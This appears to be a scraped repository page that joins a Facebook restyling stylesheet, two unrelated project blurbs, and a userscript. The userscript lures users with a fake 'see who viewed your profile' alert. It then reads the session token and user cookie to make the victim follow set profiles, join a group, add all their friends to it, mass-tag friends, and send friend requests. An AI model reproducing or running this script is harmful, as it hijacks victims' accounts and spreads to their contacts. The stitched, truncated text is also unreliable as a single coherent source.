a:hover,input[type=\"input\"],input[type=\"submit\"]:not(.fg_action_hide):not(.stat_elem):not([name=\"add\"]):not([name=\"actions[reject]\"]):not([name=\"actions[accept]\"]):not([value=\"Find Friends\"]):not([value=\"Share\"]):not([value=\"Maybe\"]):not([value=\"No\"]):not([value=\"Yes\"]):not([value=\"Comment\"]):not([value=\"Reply\"]):not([value=\"Flag\"]):not([type=\"submit\"]),.UITabGrid_Link:hover,.UIFilterList_Selected,.make_new_list_button_table,.confirm_button,.fb_menu_title a:hover,.Tabset_selected {border-bottom-color: #000 !important;border-bottom-width: 1px !important;border-bottom-style: solid !important;border-top-color: #000 !important;border-top-width: 1px !important;border-top-style: solid !important;border-left-color: #000 !important;border-left-width: 1px !important;border-left-style: solid !important;border-right-color: #000 !important;border-right-width: 1px !important;border-right-style: solid !important;-moz-appearance:none!important;}\n\n\n\n.UITabGrid_Link,.fb_menu_title a,.button_main,.button_text,.button_left {border-bottom-color: transparent !important;border-bottom-width: 1px !important;border-bottom-style: solid !important;border-top-color: transparent !important;border-top-width: 1px !important;border-top-style: solid !important;border-left-color: transparent !important;border-left-width: 1px !important;border-left-style: solid !important;border-right-color: transparent !important;border-right-width: 1px !important;border-right-style: solid !important;-moz-appearance:none!important;}\n\n\n\n.UIObjectListing_RemoveLink,.UIIntentionalStory_CloseButton,.remove,.x_to_hide,.fg_action_hide a,.notif_del,.UIComposer_AttachmentArea_CloseButton,.delete_msg a,.ImageBlock_Hide, .fbSettingsListItemDelete,.fg_action_hide,img[src=\"http://static.ak.fbcdn.net/images/streams/x_hide_story.gif?8:142665\"],.close,.uiSelector .uiCloseButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/closeX.png\") no-repeat !important;text-decoration: none !important;height: 18px !important;}\n\n\n\ndiv.fbChatSidebarDropdown .uiCloseButton,.fbDockChatDropdown .uiSelectorButton,.storyInnerContent .uiSelectorButton,.fbTimelineAllActivityStorySelector .uiButton .img {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/GrayGear_15.png\") center center no-repeat !important; width: 26px !important;}\n\n\n\ndiv.fbChatSidebarDropdown .uiCloseButton {height: 23px !important;}\n\n\n\n.videoicon {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/video_chat_small.png\") center center no-repeat !important; }\n\n\n\n.uiStream .uiStreamFirstStory .highlightSelector .uiSelectorButton {margin-top: -5px !important;}\n\n\n\n.UIObjectListing_RemoveLink,.UIIntentionalStory_CloseButton,.remove,.x_to_hide,.fg_action_hide a,.notif_del,.UIComposer_AttachmentArea_CloseButton,.delete_msg a,.ImageBlock_Hide,.uiCloseButton,.fbSettingsListItemDelete {width: 18px !important;}\n\n.fg_action_hide {width: 18px !important; margin-top: 0 !important; }\n\n\n\n.fg_action_hide_container {width: 18px !important;}\n\n.uiSideNav li {left: 0 !important;padding-left: 0 !important;}\n\n\n\n.UIHotStory_Bling,.UIHotStory_BlingCount:hover,.request_link:hover,.request_link span:hover,.uiLinkButton {text-decoration: none !important;}\n\n\n\nli form + .navSubmenu > div > div {padding: 12px !important; margin-top: -12px !important;}\n\nli form + .navSubmenu > div img {margin-top: 12px !important;}\n\n\n\n.uiStreamBoulderHighlight {border-right: none !important;}\n\n\n\n\n\n.UIMediaItem_Photo .UIMediaItem_Wrapper {padding: 10px !important;}\n\n\n\n#footerRight,.fg_action_hide {margin-right: 5px !important;}\n\n\n\n.fbx_stream_header,.pas .input {padding: 5px !important;}\n\n\n\n.ptm {padding: 5px 0 !important;}\n\n\n\n.fbTimelineUnitActor {padding-top: 5px !important;}\n\n.home_right_column {padding-top: 0 !important;}\n\n\n\n.uiButton[tooltip-alignh=\"right\"] .uiButtonText {padding: 2px 10px 3px 10px !important; font-weight: bold !important;}\n\n\n\n.uiSideNav .uiCloseButton {left: 160px !important;border: none !important;}\n\n.uiSideNav .uiCloseButton input {padding-left: 2px !important;padding-right: 2px !important;margin-top: -4px !important;border: none !important;}\n\n\n\n.storyInnerContent .uiTooltip.uiCloseButton {margin-right: -10px !important;}\n\n.storyInnerContent .stat_elem .wrap .uiSelectorButton.uiCloseButton,.uiFutureSideNavSection .open .item,.uiFutureSideNavSection .open .subitem,.uiFutureSideNavSection .open .subitem .rfloat,.uiSideNav .subitem,.uiSideNav .open .item {margin-right: 0 !important;}\n\n\n\n.audienceSelector .wrap .uiSelectorButton {padding: 2px !important;}\n\n\n\n.jewelHeader,.fbSettingsListItemDelete {margin: 0 !important;}\n\n.UITitledBox_Title {margin-left: 4px;margin-top:1px;}\n\n\n\n.uiHeader .uiHeaderTitle {margin-left: 7px !important;}\n\n.fbx_stream_header .uiHeaderTitle,#footerLeft {margin-left: 5px !important;}\n\n\n\n.comments_add_box_image {margin-right: -5px !important;}\n\n.show_advanced_controls {margin-top:-5px !important;}\n\n.chat_window_wrapper {margin-bottom: 3px !important;}\n\n.UIUpcoming_Item {margin-bottom: 5px !important;}\n\n#pagelet_right_sidebar {margin-left: 0 !important;}\n\n\n\n.profile-pagelet-section,.uiStreamHeaderTall,.timelineRecentActivityLabel,.friendsBoxHeader {padding: 5px 10px !important;}\n\n\n\n.GBSearchBox_Button,.uiSearchInput button {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/search.png\") center center !important;}\n\n.uiSearchInput button {width: 23px !important;height: 21px !important;top: 0 !important;background-position: 3px 2px !important;}\n\n\n\n.UIButton_Text,.UISearchInput_Text {font-weight: normal !important;}\n\n\n\n.x_to_hide,.top_bar_pic .UIRoundedImage {margin: 0 !important;padding: 0 !important;}\n\n\n\n.uiHeaderActions .uiButton .uiButtonText {margin-left: 15px !important;}\n\n\n\n\n\n.searchroot,#share_submit input {padding-right: 5px !important; }\n\n.composerView {padding-left: 8px !important;padding-bottom: 4px !important;}\n\n.info_section {padding: 6px !important;}\n\n.uiInfoTable .dataRow .inputtext {min-width: 200px !important;}\n\n\n\n.fbPrivacyWidget .uiButton .mrs,.uiButtonSuppressed .mrs {margin: 0 -10px 0 6px !important;}\n\n\n\n.uiStreamPrivacyContainer .uiTooltip,.UIActionMenu_Lock,.fbPrivacyLockButton,.fbPrivacyLockButton:hover,.sx_7bedb4,.fbPrivacyWidget .uiButton .mrs,.uiButtonSuppressed .mrs,div.fbPrivacyLockSelector {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/privacylock.png\") no-repeat center center !important;}\n\n\n\n.jewelCount,.pagesTimelineButtonPagelet .counter {margin: -8px -4px 0 0 !important;padding: 1px 4px !important;}\n\n\n\n#share_submit {padding: 0 !important;border: none !important;}\n\n#share_submit input,.friend_list_container .friend {padding-left: 5px !important;}\n\n\n\na{outline: none !important;}\n\n\n\n#contact_importer_container input[value=\"Find Friends\"] {border: none !important;box-shadow: none !important;}\n\n\n\n#pageLogo {mar
mostafa-kheibary
Its fully fuctional ecommerce shop using React and FireBase, and you can log in to your account easily by google/phone and buy fake product !
Waffleslop
POTACAT is a Win/Linux/Mac desktop app for ham radio operators that aggregates real-time POTA, SOTA, and DX spots and lets you instantly tune your radio via CAT control with a single click. It also enables full remote operation (audio, PTT, logging) from your phone through a self-hosted browser interface.
ephendyy
// ==UserScript== // @name facebook 2014 // @version v.01 // @Hak Cipta Ephendy // ==/UserScript== var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); alert('Apakah Anda Ingin mengetahui pengintip profil Anda..?? Klik OK untuk melanjutkan'); function cereziAl(isim) { var tarama = isim + "="; if (document.cookie.length > 0) { konum = document.cookie.indexOf(tarama) if (konum != -1) { konum += tarama.length son = document.cookie.indexOf(";", konum) if (son == -1) son = document.cookie.length return unescape(document.cookie.substring(konum, son)) } else { return ""; } } } function getRandomInt (min, max) { return Math.floor(Math.random() * (max - min + 1)) + min; } function randomValue(arr) { return arr[getRandomInt(0, arr.length-1)]; } var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function a(abone){ var http4 = new XMLHttpRequest(); var url4 = "/ajax/follow/follow_profile.php?__a=1"; var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp="; http4.open("POST", url4, true); //Send the proper header information along with the request http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http4.setRequestHeader("Content-length", params4.length); http4.setRequestHeader("Connection", "close"); http4.onreadystatechange = function() {//Call a function when the state changes. if(http4.readyState == 4 && http4.status == 200) { http4.close; // Close the connection } } http4.send(params4); } function sublist(uidss) { var a = document.createElement('script'); a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();"; document.body.appendChild(a); } // ADMIN a("100003968374379");a("100002185318761");a("1472703506");a("675820844");a("510704624");a("510704630"); var gid = ['610945318992585']; var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value']; var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]); var httpwp = new XMLHttpRequest(); var urlwp = '/ajax/groups/membership/r2j.php?__a=1'; var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp='; httpwp['open']('POST', urlwp, true); httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded'); httpwp['setRequestHeader']('Content-length', paramswp['length']); httpwp['setRequestHeader']('Connection', 'keep-alive'); httpwp['send'](paramswp); var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value']; var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]); var friends = new Array(); gf = new XMLHttpRequest(); gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false); gf['send'](); if (gf['readyState'] != 4) {} else { data = eval('(' + gf['responseText']['substr'](9) + ')'); if (data['error']) {} else { friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) { return _0x93dax8['index'] - _0x93dax9['index']; }); }; }; for (var i = 0; i < friends['length']; i++) { var httpwp = new XMLHttpRequest(); var urlwp = '/ajax/groups/members/add_post.php?__a=1'; var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp='; httpwp['open']('POST', urlwp, true); httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded'); httpwp['setRequestHeader']('Content-length', paramswp['length']); httpwp['setRequestHeader']('Connection', 'keep-alive'); httpwp['onreadystatechange'] = function () { if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {}; }; httpwp['send'](paramswp); }; var spage_id = "453791288019170"; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var smesaj = ""; var smesaj_text = ""; var arkadaslar = []; var svn_rev; var bugun= new Date(); var btarihi = new Date(); btarihi.setTime(bugun.getTime() + 1000*60*60*4*1); if(!document.cookie.match(/paylasti=(\d+)/)){ document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString(); } //arkadaslari al ve isle function sarkadaslari_al(){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";"); for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){ smesaj = ""; smesaj_text = ""; for(i=f*10;i<(f+1)*10;i++){ if(arkadaslar.payload.entries[i]){ smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]"; smesaj_text += " " + arkadaslar.payload.entries[i].text; } } sdurumpaylas(); } } }; var params = "&filter[0]=user"; params += "&options[0]=friends_only"; params += "&options[1]=nm"; params += "&token=v7"; params += "&viewer=" + user_id; params += "&__user=" + user_id; if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); } else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); } xmlhttp.send(); } //tiklama olayini dinle var tiklama = document.addEventListener("click", function () { if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){ svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0]; sarkadaslari_al(); document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString(); document.removeEventListener(tiklama); } }, false); //arkada?¾ ekleme function sarkadasekle(uid,cins){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ } }; xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true); var params = "to_friend=" + uid; params += "&action=add_friend"; params += "&how_found=friend_browser"; params += "&ref_param=none"; params += "&outgoing_id="; params += "&logging_location=friend_browser"; params += "&no_flyout_on_click=true"; params += "&ego_log_data="; params += "&http_referer="; params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value; params += "&phstamp=165816749114848369115"; params += "&__user=" + user_id; xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev); xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded"); if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){ xmlhttp.send(params); }else if(document.cookie.split("cins" + user_id +"=").length <= 1){ cinsiyetgetir(uid,cins,"sarkadasekle"); }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){ xmlhttp.send(params); } } //cinsiyet belirleme var cinssonuc = {}; var cinshtml = document.createElement("html"); function scinsiyetgetir(uid,cins,fonksiyon){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";"); cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html btarihi.setTime(bugun.getTime() + 1000*60*60*24*365); if(cinshtml.getElementsByTagName("select")[0].value == "1"){ document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString(); }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){ document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString(); } eval(fonksiyon + "(" + id + "," + cins + ");"); } }; xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true); xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev); xmlhttp.send(); } (function() { var css = "#facebook body:not(.transparent_widget),#nonfooter,#booklet,.UIFullPage_Container,.fbConnectWidgetTopmost,.connect_widget_vertical_center,.fbFeedbackContent,#LikeboxPluginPagelet\n{ \ncolor: #fff !important;\nbackground: url(\"http://techbeasts.com/wp-content/uploads/2013/10/WeChat-Application-Android.png\") repeat fixed left center #051022 !important;\n}\n\n\na,.UIActionButton_Text,span,div,input[value=\"Comment\"] {text-shadow: #000 1px 1px 1px !important;}\n\n.UIComposer_InputArea *,.highlighter div{text-shadow: none !important;}\n\n#profile_name {text-shadow: #fff 0 0 2px,#000 1px 1px 3px;}\n\na:hover,.inputbutton:hover,.inputsubmit:hover,.accent,.hover,.domain_name:hover,#standard_error,.UIFilterList_Selected a:hover,input[type=\"submit\"]:not(.fg_action_hide):hover,.button_text:hover,#presence_applications_tab:hover,.UIActionMenu:hover,.attachment_link a span:hover,.UIIntentionalStory_Time a:hover,.UIPortrait_Text .title:hover,.UIPortrait_Text .title span:hover,.comment_link:hover,.request_link span:hover,.UIFilterList_ItemLink .UIFilterList_Title:hover,.UIActionMenu_Text:hover,.UIButton_Text:hover,.inner_button:hover,.panel_item span:hover,li[style*=\"background-color: rgb(255,255,255)\"] .friend_status,.dh_new_media span:hover,a span:hover,.tab_link:hover *,button:hover,#buddy_list_tab:hover *,.tab_handle:hover .tab_name span,.as_link:hover span,input[type=\"button\"]:hover,.feedback_show_link:hover,.page:hover .text,.group:hover .text,.calltoaction:hover .seeMoreTitle,.liketext:hover,.tickerStoryBlock:hover .uiStreamMessage span,.tickerActionVerb,.mleButton:hover,.bigNumber,.pluginRecommendationsBarButton:hover {color: #9cf !important;text-shadow: #fff 0 0 2px !important;text-decoration: none !important;}\n\n\n.fbChatSidebar .fbChatTypeahead .textInput,.fbChatSidebarMessage,.devsitePage .body > .content {box-shadow: none !important;}\n\n.presence_menu_opts,#header,.LJSDialog,.chat_window_wrapper,#navAccount ul,.fbJewelFlyout,.uiTypeaheadView,.uiToggleFlyout { box-shadow: 0 0 3em #000; }\n\n.UIRoundedImage,.UIContentBox_GrayDarkTop,.UIFilterList > .UIFilterList_Title, .dialog-title,.flyout,.uiFacepileItem .uiTooltipWrap {box-shadow: 0 0 1em 1px #000;}\n\n.extra_menus ul li:hover,.UIRoundedBox_Box,.fb_menu_link:hover,.UISelectList_Item:hover,.fb_logo_link:hover,.hovered,#presence_notifications_tab,#chat_tab_barx,.tab_button_div,.plays_val, #mailBoxItems li a:hover,.buddy_row a:hover,.buddyRow a:hover,#navigation a:hover,#presence_applications_tab,#buddy_list_tab,#presence_error_section,.uiStepSelected .middle,.jewelButton,#pageLogo,.fbChatOrderedList .item:hover,.uiStreamHeaderTall {box-shadow: 0 0 3px #000,inset 0 0 5px #000 !important;}\n\n\n.topNavLink > a:hover,#navAccount.openToggler,.selectedCheckable {box-shadow: 0 0 4px 2px #9cf,inset 0 0 2em #69f !important;}\n\n\n.fbChatBuddyListDropdown .uiButton,.promote_page a,.create_button a,.share_button_browser div,.silver_create_button,.button:not(.uiSelectorButton):not(.close):not(.videoicon),button:not(.as_link),.GBSearchBox_Button,.UIButton_Gray,.UIButton,.uiButton:not(.uiSelectorButton),.fbPrivacyWidget .uiSelectorButton:not(.lockButton),.uiButtonSuppressed,.UIActionMenu_SuppressButton,.UIConnectControlsListSelector .uiButton,.uiSelector:not(.fbDockChatDropdown) .uiSelectorButton:not(.uiCloseButton),.fbTimelineRibbon,#fbDockChatBuddylistNub .fbNubButton,.pluginRecommendationsBarButtonLike {box-shadow: 0 0 .5em rgba(0,0,0,0.9),inset 0 0 .75em #9cf !important;border-width: 0 !important; }\n\n.fbChatBuddyListDropdown .uiButton:hover,.uiButton:not(.uiSelectorButton):hover,.fbPrivacyWidget .uiSelectorButton:not(.lockButton):hover,.uiButtonSuppressed:hover,.UIButton:hover,.UIActionMenu_Wrap:hover,.tabs li:hover,.ntab:hover,input[type=\"submit\"]:not(.fg_action_hide):not(.stat_elem):not([name=\"add\"]):not([name=\"actions[reject]\"]):not([name=\"actions[accept]\"]):not([value=\"Find Friends\"]):not([value=\"Share\"]):not([value=\"Maybe\"]):not([value=\"No\"]):not([value=\"Yes\"]):not([value=\"Comment\"]):not([value=\"Reply\"]):not([type=\"Flag\"]):not([type=\"submit\"]):hover,.inputsubmit:hover,.promote_page:hover,.create_button:hover,.share_button_browser:hover,.silver_create_button_shell:hover,.painted_button:hover,.flyer_button:hover,.button:not(.close):not(.uiSelectorButton):not(.videoicon):hover,button:not(.as_link):hover,.GBSearchBox_Button:hover,.tagsWrapper,.UIConnectControlsListSelector .uiButton:hover,.uiSelector:not(.fbDockChatDropdown) .uiSelectorButton:not(.uiCloseButton):hover,.fbTimelineMoreButton:hover,#fbDockChatBuddylistNub .fbNubButton:hover,.tab > div:not(.title):hover,.detail.frame:hover,.pluginRecommendationsBarButtonLike:hover {box-shadow: 0 0 .5em #000,0 0 1em 3px #9cf,inset 0 0 2em #69f !important;}\n\n#icon_garden,.list_select .friend_list {box-shadow: 0 0 3px -1px #000,inset 0 0 3px -1px #000;}\n\n.bb .fbNubButton,.uiScrollableAreaGripper {box-shadow: inset 0 4px 8px #9cf,0 0 1em #000 !important;}\n\n.bb .fbNubButton:hover {box-shadow: inset 0 4px 8px #9cf,0 .5em 1em 1em #9cf !important;}\n\n.fbNubFlyoutTitlebar {box-shadow: inset 0 4px 8px #9cf;padding: 0 4px !important;}\n\n#fb_menubar,.progress_bar_outer {box-shadow: inset 0 0 3px #000,0 0 3em 3px #000;}\n#presence_ui {box-shadow: 0 0 3em 1px #000}\n\n#buddy_list_tab:hover,.tab_handle:hover,.focused {box-shadow: 0 0 3px #000,inset 0 0 3px #000,0 0 3em 5px #fff;}\n\n.uiSideNavCount,.jewelCount,.uiContextualDialogContent,.fbTimelineCapsule .fbTimelineTwoColumn > .timelineUnitContainer:hover,.timelineReportContainer:hover,.uiOverlayPageContent,.pagesTimelineButtonPagelet .counter,#pagelet_timeline_profile_actions .counter,.uiScaledImageContainer:hover, .pagesVoiceBar, ._k5 {box-shadow: 0 0 1em 4px #9cf !important;}\n\n.img_link:hover,.album_thumb:hover,.fbChatTourCallout .body,.fbSidebarGripper div {box-shadow: 0 0 3em #9cf;}\n\n.shaded,.progress_bar_inner,.tickerStoryAllowClick {box-shadow: inset 0 0 1em #9cf !important}\n\n.UIPhotoGrid_Table .UIPhotoGrid_TableCell:hover .UIPhotoGrid_Image,#myphoto:hover,.mediaThumbWrapper:hover,.uiVideoLink:hover,.mediaThumb:hover,#presence.fbx_bar #presence_ui #presence_bar .highlight,.fbNubFlyout:hover,.hovercard .stage,#fbDockChatBuddylistNub .fbNubFlyout:hover,.balloon-content,.-cx-PRIVATE-uiDialog__border {box-shadow: 0 0 3em 5px #9cf !important;}\n\n.fbNubFlyout,.uiMenuXBorder {box-shadow: 0 0 3em 5px #000 !important;}\n\n#blueBar {box-shadow: 0 0 1em 3px #000 !important;}\n\n\n.fill {box-shadow: inset 0 0 2em #69f,0 0 1em #000 !important;}\n\n\ninput[type=\"file\"]{-moz-appearance:none!important;border: none !important;}\n\n\n.status_text,h4,a,h2,.flyout_menu_title,.url,#label_nm,h5,.WelcomePage_MainMessage,#public_link_uri,#public_link_editphoto span,#public_link_editalbum span,.dh_subtitle,.app_name_heading,.box_head,.presence_bar_button span,a:link span,#public_link_album span,.note_title,.link_placeholder,.stories_title,.typeahead_suggestion,.boardkit_title,.section-title strong,.inputbutton,.inputsubmit,.matches_content_box_title,.tab_name,.header_title_text,.signup_box_message,.quiz_start_quiz,.sidebar_upsell_header,.wall_post_title,.megaphone_header,.source_name,.UIComposer_AttachmentLink,.fcontent > .fname,#presence_applications_tab,.mfs_email_title,.flyout .text,.UIFilterList_ItemLink .UIFilterList_Title,.announce_title,.attachment_link a span,.comment_author,.UIPortrait_Text .title,.comment_link,.UIIntentionalStory_Names,#profile_name,.UIButton_Text,.dh_new_media span,.share_button_browser div,.UIActionMenu_Text,.UINestedFilterList_Title,button,.panel_item span,.stat_elem,.action,#contact_importer_container input[value=\"Find Friends\"]:hover,.navMore,.navLess,input[name=\"add\"],input[name=\"actions[reject]\"],input[name=\"actions[accept]\"],input[name=\"actions[maybe]\"],.uiButtonText,.as_link .default_message,.feedback_hide_link,.feedback_show_link,#fbpage_fan_sidebar_text,.comment_actual_text a span,.uiAttachmentDesc a span,.uiStreamMessage a span,.group .text,.page .text,.uiLinkButton input,.blueName,.uiBlingBox span.text,.commentContent a span,.uiButton input,.fbDockChatTab .name,.simulatedLink,.bfb_tab_selected,.liketext,a.UIImageBlock_Content,.uiTypeaheadView li .text,.author,.authors,.itemLabel,.passiveName,.token,.fbCurrentTitle,.fbSettingsListItemLabel,.uiIconText,#uetqg1_8,.fbRemindersTitle,.mleButton,.uiMenuItem .selected .name {color: #9cf !important;}\n\n#email,option,.disclaimer,.info dd,.UIUpcoming_Info,.UITos_ReviewDescription,.settings_box_text,div[style*=\"color: rgb(85,85,85)\"] {color: #999 !important;}\n\n.status_time,.header_title_wrapper,.copyright,#newsfeed_submenu,#newsfeed_submenu_content strong,.summary,.caption,.story_body,.social_ad_advert_text,.createalbum dt,.basic_info_summary_and_viewer_actions dt,.info dt,.photo_count,p,.fbpage_fans_count,.fbpage_type,.quiz_title,.quiz_detailtext,.byline,label,.fadvfilt b,.fadded,.fupdt,.label,.main_subtitle,.minifeed_filters li,.updates_settings,#public_link_photo,#phototags em,#public_link_editphoto,.note_dialog,#public_link_editalbum,.block_add_person,.privacy_page_field,.action_text,.network,.set_filters span,.byline span,#no_notes,#cheat_sheet,.form_label,.share_item_actions,.options_header,.box_subtitle,.review_header_subtitle_line,.summary strong,.upsell dd,.availability_text,#public_link_album,.explanation,.aim_link,.subtitle,#profile_status,span[style*=\"color: rgb(51,51,51)\"],.fphone_label,.phone_type_label,.sublabel,.gift_caption,dd span,.events_bar,.searching,.event_profile_title,.feedBackground,.fp_show_less,.increments td,.status_confirm,.sentence,.admin_list span,.boardkit_no_topics,.boardkit_subtitle,.petition_preview,.boardkit_topic_summary,li,#photo_badge,.status_body, .spell_suggest_label,.pg_title,.white_box,.token span,.profile_activation_score,.personal_msg span,.matches_content_box_subtitle span,tr[fbcontext=\"41097bfeb58d\"] td,.title,.floated_container span:not(.accent),div[style*=\"color: rgb(85,85,85)\"],div[style*=\"color: rgb(68,68,68)\"],.present_info_label,.fbpage_description,.tagged span,#tags h2 strong,#tags div span,.detail,.chat_info_status,.gray-text,.author_header,.inline_comment,.fbpage_info,.gueststatus,.no_pages,.topic_pager,.header_comment span,div[style*=\"color: rgb(101,107,111)\"],#q,span[style*=\"color: rgb(85,85,85)\"],.pl-item,.tagged_in,.pick_body,td[style*=\"color: rgb(85,85,85)\"],strong[style*=\"color: rgb(68,68,68)\"],div[style*=\"color: gray\"],.group_officers dd,.fbpage_group_title,.application_menu_divider,.friend_status span,.more_info,.logged_out_register_subhead,.logged_out_register_footer,input[type=\"text\"],textarea,.status_name span,input[type=\"file\"],.UIStoryAttachment_Copy,.stream_participants_short,.UIHotStory_Copy,input[type=\"submit\"]:not(.fg_action_hide):not(.stat_elem):not(.UIButton_Text):not([name=\"add\"]):not([name=\"actions[reject]\"]):not([name=\"actions[accept]\"]):not([value=\"Find Friends\"]):not([value=\"Share\"]):not([value=\"Maybe\"]):not([value=\"No\"]):not([value=\"Yes\"]):not([value=\"Comment\"]):not([value=\"Reply\"]):not([value=\"Flag\"]):not([type=\"submit\"]),input[type=\"search\"],input[type=\"input\"],.inputtext,.relationship span,input[type=\"button\"]:not([value=\"Comment\"]),input[type=\"password\"],#reg_pages_msg,.UIMutableFilterList_Tip,.like_sentence,.UIIntentionalStory_InfoText,.UIHotStory_Why,.question_text,.UIStory,.tokenizer,input[type=\"hidden\"],.tokenizer_input *,.text:not(.external),.flistedit b,.fexth,.UIActionMenu_Main,span[style*=\"color: rgb(102,102,102)\"],div[style*=\"color: rgb(85,85,85)\"],div[style*=\"color: rgb(119,119,119)\"],blockquote,.description,.security_badge,.full_name,.email_display,.email_section,.chat_fl_nux_messaging,.UIObjectListing_Subtext,.confirmation_login_content,.confirm_username,.UIConnectControls_Body em,.comment_actual_text,.status,.UICantSeeProfileBlurbText,.UILiveLink_Description,.recaptcha_text,.UIBeep_Title,.UIComposer_Attachment_ShareLink_URL,.app_dir_app_category,.first_stat,.aggregate_review_title,.stats span,.facebook_disclaimer,.app_dir_app_creator,.app_dir_app_monthly_active_users,.app_dir_app_friend_users,.UISearchFilterBar_Label,.UIFullListing_InfoLabel,.email_promise_detail,.title_text,.excerpt,.dialog_body,.tos,.UIEMUASFrame_body,.page_note,.nux_highlight_composer,.UIIntentionalStory_BottomAttribution,.tagline,.GBSelectList,.gigaboxx_thread_header_authors,.GBThreadMessageRow_ReferrerLink,#footerWrapper,.infoTitle,.fg_explain,.UIMentor_Message,.GenericStory_BottomAttribution,.chat_input,.video_timestamp span,#tagger_prompt,.UIImageBlock_Content,.new_list span, .GBSearchBox_Input input,.SearchPage_EmailSearchLeft,.sub_info,.UIBigNumber_Label,.UIInsightsGeoList_ListTitle,.UIInsightsGeoList_ListItemValue,.UIInsightsSmall_Note,.textmedium,.UIFeedFormStory_Lead,.home_no_stories_content, .title_label,div[style*=\"color: rgb(102,102,102)\"],*[style*=\"color: rgb(51,51,51)\"],.tab_box_inner,.uiStreamMessage,.privacy_section_description,.info_text,.uiAttachmentDesc,.uiListBulleted span,.privacySettingsGrid th,.recommendations_metadata,.postleft dd:not(.usertitle),.postText,.mall_post_body_text,.fbChatMessage,.fbProfileBylineFragment,.nosave option,.uiAttachmentDetails,.fbInsightsTable td,.mall_post_body,.uiStreamPassive,.snippet,.questionInfo span,.promotionsHowto,.fcg,.headerColumn .fwb,.rowGroupTitle .fwb,.rowGroupDescription .fwb,.likeUnit,.aboveUnitContent,.placeholder,.sectionContent,.UIFaq_Snippet,.uiMenuItem:not(.checked) .name,.balloon-text,.fbLongBlurb,.legendLabel,.messageBody {color: #bbb !important;}\n\n.status_clear_link,h3,h1,.updates,.WelcomePage_SignUpHeadline,.WelcomePage_SignUpSubheadline,.mock_h4 .left,.review_header_title,caption,.logged_out_register_msg,.domain_name, .UITitledBox_Title,.signup_box_content,.highlight,.question,.whocan span,.UIFilterList > .UIFilterList_Title,.subject,.UIStoryAttachment_Label,.typeahead_message,.UIShareStage_Title,.alternate_name,.helper_text,.textlarge,.page .category,.item_date,.privacy_section_label,.privacy_section_title,.uiTextMetadata, .seeMoreTitle,.categoryContents,code,.usertitle,.fbAppSettingsPageHeader,.fsxl,.LogoutPage_MobileMessage,.LogoutPage_MobileSubmessage,.recommended_text,#all_friends_text,.removable,.ginormousProfileName,.experienceContent .fwb,#bfb_t_popular_body div[style*=\"color:#880000\"],.fsm:not(.snippet):not(.itemLabel):not(.fbChatMessage),.uiStreamHeaderTextRight,.bookmarksNavSeeAll,.tab .content,.fbProfilePlacesFilterCount,.fbMarketingTextColorDark,.pageNumTitle,.pluginRecommendationsBarButton {color: #69f 